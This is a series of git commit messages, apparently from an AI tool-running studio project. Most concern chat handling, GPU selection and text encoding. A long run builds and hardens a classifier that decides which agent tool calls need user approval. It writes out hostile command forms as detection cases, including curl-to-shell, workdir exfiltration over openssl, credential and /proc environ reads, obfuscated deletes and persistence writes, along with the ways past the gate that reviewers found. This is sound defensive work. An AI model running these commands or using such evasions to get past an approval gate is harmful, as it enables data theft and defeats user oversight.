items now, so a running compare row returns to its pair.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep worker ownership honest across audio, API traffic and a replaced worker
The audio-input send got a mailbox last round but stayed unclaimed, so a compare request
queued behind it looked like the oldest owner and stopping that queued request signalled
the shared event into the audio chat. It claims under the send lock and releases in the
finally, like _generate_inner.
Ownership is keyed on cancel-event identity with nothing tying it to a worker generation,
so a consumer still blocked on its mailbox when the process was replaced stayed recorded
as the executor, and a generation on the fresh worker could not be stopped.
_shutdown_subprocess clears that state once the process is confirmed dead, mailboxes
included: nothing routes to them again, and a stale one reads as compare activity to the
unload path. Not on the survived-SIGKILL path, which keeps its handle on purpose.
The four public /v1/messages trackers were registering as chats. The distinction is a
Studio thread, not the protocol, and those branches already say "No thread_id: public API
surface" while the Studio path passes payload.thread_id separately. They carry their own
kind now, so the swap prompt stops calling an external request a chat.
The swap confirmation still counted raw pane ids, so a compare conversation asked to stop
two chats and listed its title twice. It folds panes onto pairId and lowers the count by
what it collapsed, leaving a first turn the backend can count but not name.
Deep Research set runningByThreadId but registered no server-cancel handle, and that map
is how Stop, archive and delete reach a thread that is no longer active. Leaving the
outgoing thread running is this PR's doing, so the run was left unreachable while its
supervisor kept working against a conversation the user could delete.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten the parallel-chats comments
* Studio: replay a Deep Research stop that arrived before the run existed
The handle is registered before createResearchRun resolves because the thread can be
stopped while that request is in flight, but it had no id to act on and dropped the stop.
The supervisor then followed a run the user had already stopped, archived or deleted.
It latches instead: a stop with no id yet sets a flag, and the adapter replays it against
the id the moment creation returns rather than starting to follow.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix worker ownership on a raced reroute, and the stop-chats prompt
Four review findings on the parallel-chats work, all reproduced first.
- _direct_reader hands a foreign response to its own mailbox, but skipped the
ownership move the dispatcher makes. A _gen_lock reader already blocked on
resp_queue can beat the compare dispatcher to that request's first response,
and the compare consumer opts out of marking, so nothing promoted it: the
direct request stayed the recorded executor, its late reset cancelled the
compare generation, and the compare chat's own Stop was ignored.
- A chat stopped while queued on _gen_lock was still claimed and sent once the
lock freed. Cancellation is only checked on a token, so a long prefill, or a
generation reaching gen_done without one, occupied the worker after Stop.
Same hole in the audio-input path, which shares the lock.
- The stop-chats prompt counted generation handles, not conversations. One chat
holds several while a tool continuation registers its next leg before the
previous unwinds, so it offered to stop two chats and listed one title.
- Ejecting a model confirms through that dialog, which told the user
"Unloading the model reloads the model" and offered "Stop and reload".
Confirming calls /unload and leaves nothing loaded.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: name the TTS run's thread so the stop prompt counts it once
The audio branch registers its run locally under the thread key but sent no
thread_id, so the backend tracker filed the same generation under no thread.
The stop-chats prompt then had a named local run and an unnamed backend one and,
since e8e7594 started adding unnamed entries to the named ones, counted a single
TTS chat as two requests. The backend already reads payload.thread_id, so
sending it lines both registries up on the same run.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
The ROCR-vs-HIP masking comments cite "a gfx1103 iGPU under a gfx110X
prebuilt" as an example of a GPU the build has no kernels for, but the
shipping gfx110X prebuilt does build gfx1103: unsloth-prebuilt-rocm.yml
passes -DGPU_TARGETS=gfx1100;gfx1101;gfx1102;gfx1103 on both Linux and
Windows, and the b10079 manifest maps all four. install.sh also routes
gfx1103 to gfx110X-all and is_rdna() includes it.
Swap in gfx1036 under gfx103X, which is genuinely unbuilt: that bundle
maps only gfx1030/1031/1032/1034.
Comment-only, no behavior change.
* Vulkan GPUs: real device names and selectable ordinals
Rebases the durable half of #7356 onto the inference_gpu transport #7476
landed on main. Those two PRs solve an overlapping problem and disagree on
the data model, so merging #7356 as-is would ship two parallel Vulkan
device concepts with different index semantics. This keeps main's transport
and adds what #7356 had that #7476 does not.
- _vulkan_probe.py emits a 5th column, ggml's device description, sanitized
for the tab protocol and UTF-8 safe. Reader tolerates 4- or 5-column
output so an older probe still parses.
- llama_cpp gains _run_vulkan_probe (shared parse) and
vulkan_device_inventory (names + is_igpu + real totals).
- get_vulkan_inference_gpu_info reports the real name and an explicit
is_igpu instead of "Vulkan<i>" and a total == 0 guess.
- index_kind becomes "vulkan", not "relative", and gpu_ids picks are
supported on Vulkan builds once the probe enumerated ordinals. The XPU ban
no longer applies to them: a Vulkan pick is a ggml ordinal, not a torch-xpu
index, so it works on an Intel host too.
- Frontend picker reads the Vulkan inventory as the pickable set.
Memory deliberately still comes from _get_gpu_memory, not the inventory.
That path applies _apply_igpu_host_reserve_mib and zeroes a shared total;
budgeting an APU off its raw shared total would hand out the whole machine's
RAM with no OS headroom. Identity is joined onto it by ordinal, so a probe
failure degrades to Vulkan<i> names with the memory readings intact.
Dropped from #7356 as superseded: validate_vulkan_gpu_ids (main's
resolve_requested_gpu_ids already rejects duplicates and
_resolve_gguf_gpu_ids_for_request already probes for existence), the
gguf_devices transport, and the iGPU budget fallback in 71619891e, which
main's aggregateGpuMemoryTotalGb handles better by counting a shared pool
once.
Also keeps #7356's removal of the late diffusion raise, so the graceful
gpu_ids drop stays reachable for a GGUF only classified as diffusion after
download. #7415's real guard, _reject_vulkan_diffusion_gpu_ids_before_
teardown, is untouched.
Verified on Windows + Strix Halo: backend Vulkan/GPU-selection suites at the
same 4 pre-existing failures as main, tests/studio 1671 passed with no new
failures, frontend typecheck clean. Hardware confirmation of the underlying
behavior is on #7356 from @Bebiv24 (RX 9070 XT + RX 480).
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Let a decode failure degrade instead of escaping a fail-closed helper
Pinning utf-8 makes a read that used to return mojibake on Windows raise
instead. 33 of those reads sit under a handler catching OSError or
json.JSONDecodeError but not UnicodeDecodeError, which subclasses
ValueError, so a corrupt file would now escape a helper written to return
a default. Adds UnicodeDecodeError to those tuples only.
* Treat an undecodable install lock as stale instead of retrying forever
* Pin utf-8 on shipping-code text I/O instead of the operator locale
113 read_text/write_text/open call sites across unsloth, studio and
unsloth_cli let locale.getencoding() decide the encoding. That is utf-8 on
the Linux and macOS runners and cp1252 on a stock Windows install, so the
same file decodes differently for a Windows user and silently produces
mojibake or raises UnicodeDecodeError.
Adds tests/test_runtime_text_encoding.py to keep it that way. It resolves
openers through each file's own imports rather than a fixed list of module
names, so an aliased tarfile.open or a local from PIL.Image import open is
not asked for an encoding it does not take.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scan tracked files only and resolve the unbound Path calling forms
* Honour PEP 263 when scanning sources and migrate a legacy JSONL before appending
* Scope guard imports lexically and only migrate a legacy file when it round-trips
* Leave a legacy JSONL untouched and resolve path aliases in the foreign-opener check
* Tighten comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(studio): reject Vulkan diffusion gpu_ids before Phase 1 teardown
Classify local GGUF paths (and cached HF downloads when available) for
diffusion before _kill_process() so unsupported gpu_ids requests return
400 without tearing down the active model. Fixes#7205.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): always pre-download HF GGUF before Vulkan diffusion preflight
Reverts the cached-path shortcut so partial split caches still run
_download_gguf before Phase 1 teardown. Header-only classification from
resolve_local_gguf_path() does not prove the variant is complete.
* Fix inaccurate shared-constant comment and cover the local pre-teardown branch for PR #7415
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add a regression test for the pre-teardown GGUF download for PR #7415
* Tighten the Vulkan diffusion preflight comments for PR #7415
* Trim the Vulkan diffusion preflight comments for PR #7415
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Default tool-call permission to Approve for me, prompting only on high-risk actions
Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.
Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:
- Unset permission_mode normalizes to "auto" at the API boundary and in both
tool loops; the Field defaults are "auto" too. An unrecognized value still
falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
is_high_risk_tool_call classifier: credential/secret path access, privilege
escalation (sudo/su/doas/pkexec), destructive or persistence commands
(rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
(curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
Python prompts on shell escapes, network egress, sensitive reads, and
dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
confirm_tool_calls for "auto" so the safe-only no-stream exception still
applies; the picker and store describe the new behavior.
The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep non-streaming tool requests working under the auto default
The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).
Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.
* Harden the auto high-risk classifier against review-flagged bypasses
Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:
- Terminal: a non-shell interpreter running inline code (python -c, node -e,
perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
git push --force), and a command synthesized by a command-position
substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
like a terminal call, since it runs arbitrary commands on the MCP server
outside the terminal sandbox; ordinary create/list/read tools still run.
The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Recurse shell -c payloads and literal exec source in the high-risk gate
Second review round on the auto high-risk classifier:
- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
bounded by depth. The sandbox hard-block only recurses for its own smaller
command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
consume their value before the subcommand is read, so the real subcommand
is judged.
- The network exfil check also runs over the assignment-expanded command, so a
curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths
Third review round on the auto high-risk classifier:
- Interpreter inline code in the attached short form (python -c'...',
node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
flag token.
- env -S / --split-string runs its string as a command (screened recursively)
and env -C / --chdir changes the working directory (asks), so a destructive
command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
run_Command) before the execution / sensitive-noun regexes, so camelCase
execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
and re-checked; an unresolved fragment folds to a sentinel so a partial fold
never false-positives.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate substitution-built shell payloads and keep explicit confirm opt-in
Two auto-mode gaps from review:
- A command substitution stashed in a variable and then executed dynamically
(x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
appears as literal command text, so the token scan could not see the real
command and git clean ran without a prompt. Fail closed when a command
substitution coincides with a variable executed as a command. Ordinary
substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
run.
- An explicit confirm_tool_calls=True with no permission_mode is the
pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
the request layer instead of the "auto" product default, so those callers keep
per-call gating rather than only prompting on high-risk calls. A bare unset
request (confirm flag not set) still defaults to auto.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads
Three more auto-mode gaps from review:
- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
"ask" regardless of the request-level tool flags, so a process-wide
--enable-tools policy that forces the loop when the request sets neither
enable_tools nor mcp_enabled still gates every call. Setting only the mode is
inert unless the loop runs, so a passthrough request is unaffected;
external-provider requests are still left untouched.
- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
high-risk terminal set. The terminal executor runs cmd /c on Windows and these
are not in the hard-block set, so del /q file.csv would otherwise run in the
workdir without a prompt.
- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
a Path bound to a variable then joined) is now gated. The python high-risk
folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
already handle the / operator, path constructors, os.path.join, str.join,
f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.
* Gate combined -c, versioned interpreters, busybox, and sensitive chdir
Four more auto-mode classifier gaps from review, plus a sandbox backstop:
- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
(bash -c'...') now have their -c payload screened recursively; the same
cluster handling closes python -Bc inline code. Previously only an exact -c
matched, so bash -lc 'git clean -fd' ran without a prompt.
- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.
- busybox / toybox are treated as command wrappers, so the applet
(busybox rm -rf) is judged instead of the multicall binary, which was slipping
through as an unknown-but-safe command.
- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
gated: the read happens after the directory change so no single token spells
out the sensitive path. Ordinary in-workdir chdirs still run.
- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
Unsloth process against same-UID /proc environ reads in normal sandboxed mode
too, not only in bypass mode, so a classifier miss cannot recover the parent
environment. Best-effort in the sandbox (the child env is already scrubbed), so
a host where prctl is unavailable still runs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden parent proc-env on the sandboxed python path too
The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.
* Tighten the curl/wget exfil check for attached and wget upload flags
The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.
* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps
Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:
- Process-launch wrappers: setsid/exec/builtin forward the command position, so
screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
-Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
GraphQL mutation, mutating HTTP method) still prompts; honestly-named
create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
/etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.
Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.
* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads
Round-two Codex hardening on the auto (Approve-for-me) classifier:
- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
at command position and openssl s_client/s_server. The sandbox has no network
namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
the workdir without a prompt. Local openssl (dgst/enc) and a filename that
merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
purge_index/revoke_token runs outside the terminal sandbox and loses data, so
gate the destructive verb on the name. Non-destructive create/update/list/get
still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
carries no command substitution and is not resolved by assignment expansion,
so it slipped the var-executed check. Fail closed when an array expansion is
run as a command; a benign array print (echo "${a[@]}") is untouched.
Adds regression rows for every new prompt case and its benign counterpart.
* Gate user-level persistence writes in auto mode
Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.
* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove
- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
--request= forms) mutates or deletes a remote resource, so gate it; a plain
download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
. ./script.sh ran the file's contents past the classifier. Block '.' at
command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
was missed because only the literal receiver 'os' was recognized; resolve
import os as ... aliases, matching the existing safety analyzer.
Adds regression rows for each case and its benign counterpart.
* Close three more obfuscation bypasses of the auto-mode gate and hard block
- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
both the high-risk scan and _find_blocked_commands missed it while Bash ran
rm. Decode ANSI-C ($'...') before classifying, in both the terminal
classifier and the blocklist; an ANSI-C string in argument position stays
benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
whose generated content is unscreenable) ran without a prompt; the prior <(
check was unreachable without curl/wget. Gate a process substitution consumed
by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
'remove') bypassed the direct-attribute scan. Track assignment aliases and
getattr with a literal attribute name; a bound list.remove still runs.
Adds regression rows for each case and its benign counterpart.
* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners
- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
kubectl) act through a daemon with host privileges, so a bind mount writes the
real filesystem and escapes the child process workdir and rlimits entirely.
Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
attach/bind/put/update/create) prompts only next to a privilege noun (role,
permission, policy, acl, scope, membership), so assign_issue and add_label
keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
--checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
gunicorn, waitress) exposes the session workdir since the sandbox keeps no
network namespace. A non-server module (python -m pytest, -m pip) still runs.
Adds regression rows for each case and its benign counterpart.
* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions
Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
`pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
prompted. Scope it to the two forms that actually listen: a module after
`-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
`python -Werror` read as eval. Resolve them per interpreter: python -c,
node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
line (`ls -T && echo curl`). Scope the scan to the segment whose command is
actually curl/wget.
Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
handle name so pandas DataFrame.truncate() keeps running.
- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
`xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.
Adds regression rows for every case and its benign counterpart.
* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases
- `if`/`while`/`until` are followed by a condition the shell runs, so a command
there is at command position. `if rm -rf build; then :; fi` slipped both the
classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
an attached payload: bash still reads the command string from the next token,
so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
--signal TERM, nice -n 5) had its value read as the wrapped command, so
`env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
assignment; only ast.Assign was collected.
Adds regression rows for each case and its benign counterpart.
* Fix two gate regressions and close seven more bypasses
Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
resolved `rm` as a command and was blocked. A keyword only separates where a
command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
consumed `git` and never judged the subcommand. The table is per wrapper now.
New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
`!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
(bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
`getattr(__import__("os"), "remove")` reaches it inline.
Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).
Adds regression rows for each case and its benign counterpart.
* Pin the auto-mode contract with benign and dangerous corpora
The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.
Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).
125 cases, currently 100 percent in both directions.
* Scope four over-prompting checks and close six more gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
positional looked executable and a search whose pattern happened to equal a
gated command name prompted. They only forward after an explicit
-exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
matter which command owned it, so printf '%s' --rsh prompted. It now
requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
(env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
binary at command position covers all three.
New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
--pathspec-from-file. A single positional stays ambiguous with a branch name
and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
instead of letting an unscreened payload through.
Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope two more over-prompting checks and close four gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
`grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
a path boundary, while the real dotfiles still prompt.
New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
command after it was never screened (`env -u` followed by a recursive delete
was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
and history rewriting drop refs and unreachable objects, the same loss the
porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
refund, wire, publish, deploy) are irreversible for the operator even though
they are not destructive in the filesystem sense.
Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
friends). Consistent with the alias/read/coproc/trap family already declined
here: it inverts the denylist into an allowlist and costs real ergonomics for
payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
scripts write to the standard temp directories constantly, so this would
prompt on routine work. Persistence and credential paths are already gated
specifically.
* Resolve command-position globs and keep quoted data out of shell syntax
- A glob at command position is expanded by bash after this scan runs, so
`/bin/r[m] -rf x` was screened under a name that never executes. The
always-on blocklist now resolves such a pattern against the blocked names,
and the classifier asks when a command word cannot be resolved at all. The
test builtins are excluded, and a pattern carrying no literal character
resolves to nothing in particular.
- A dollar-quoted word expands to a single word, so a newline inside it is
data rather than a separator. Decoding it before tokenization made
`printf '%s'` with multiline data read as two commands and the call was
refused outright. The decoded text can no longer introduce shell syntax,
while an escape-obfuscated command name still resolves.
- An attribute name assembled from literals is folded before it is screened,
so a deletion spelled as a concatenation is treated like the plain form. A
name on a filesystem module that cannot be folded at all fails closed, since
there is nothing left to screen.
- An MCP name with no separators never reached the segment boundaries, so a
server-side execution tool was classified as ordinary even though the
previous classifier failed closed on it. The verb and object compounds are
matched directly now, while a name that merely starts with those letters is
left alone.
Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.
* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes
- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
and that spelling was stripped and discarded without ever being screened.
The value is treated as command position now, in the classifier and in the
always-on blocklist. Only the long spellings are read this way: a short -x
belongs to too many other utilities for its neighbour to be a command.
- The openssl socket check was anchored at command position, so a wrapper in
front of it (env, timeout) hid the very thing it was meant to catch. The
subcommand is checked on the resolved command segment now, so the wrapped
and absolute forms are covered. Local openssl (dgst, enc) still runs.
- php runs code from -B, -R and -E as well as -r, which are begin, per-line
and end blocks. Only -r was listed, so the other three ran inline programs
unscreened.
- git worktree remove --force deletes a linked worktree even when it holds
uncommitted work or is locked, but only the first-level subcommand was read
so the nested action was invisible. An unforced remove refuses on a dirty
worktree and stays out, matching how the checkout and switch discard flags
are handled.
- sysctl -w, --system and -p change kernel parameters, and the assignment form
writes without needing a flag. A read-only query stays automatic.
* Fail closed on unscreenable MCP names, alias bodies and stored lookups
- An MCP name whose verb this classifier does not recognise now asks. MCP
tools run on an external server, outside the terminal sandbox and every
backstop under it, and their names are an open vocabulary rather than the
finite set of POSIX utilities, so the denylists could never be complete: a
name built from an unfamiliar verb sailed through as ordinary. A generous
read and write vocabulary keeps the everyday tools running, and the reverse
or repeat of a recognised verb (undelete, reopen, resend) counts as
recognised too. Measured against thirty tool names taken from the common
servers, one still prompts, and that one is the pre-existing execution rule
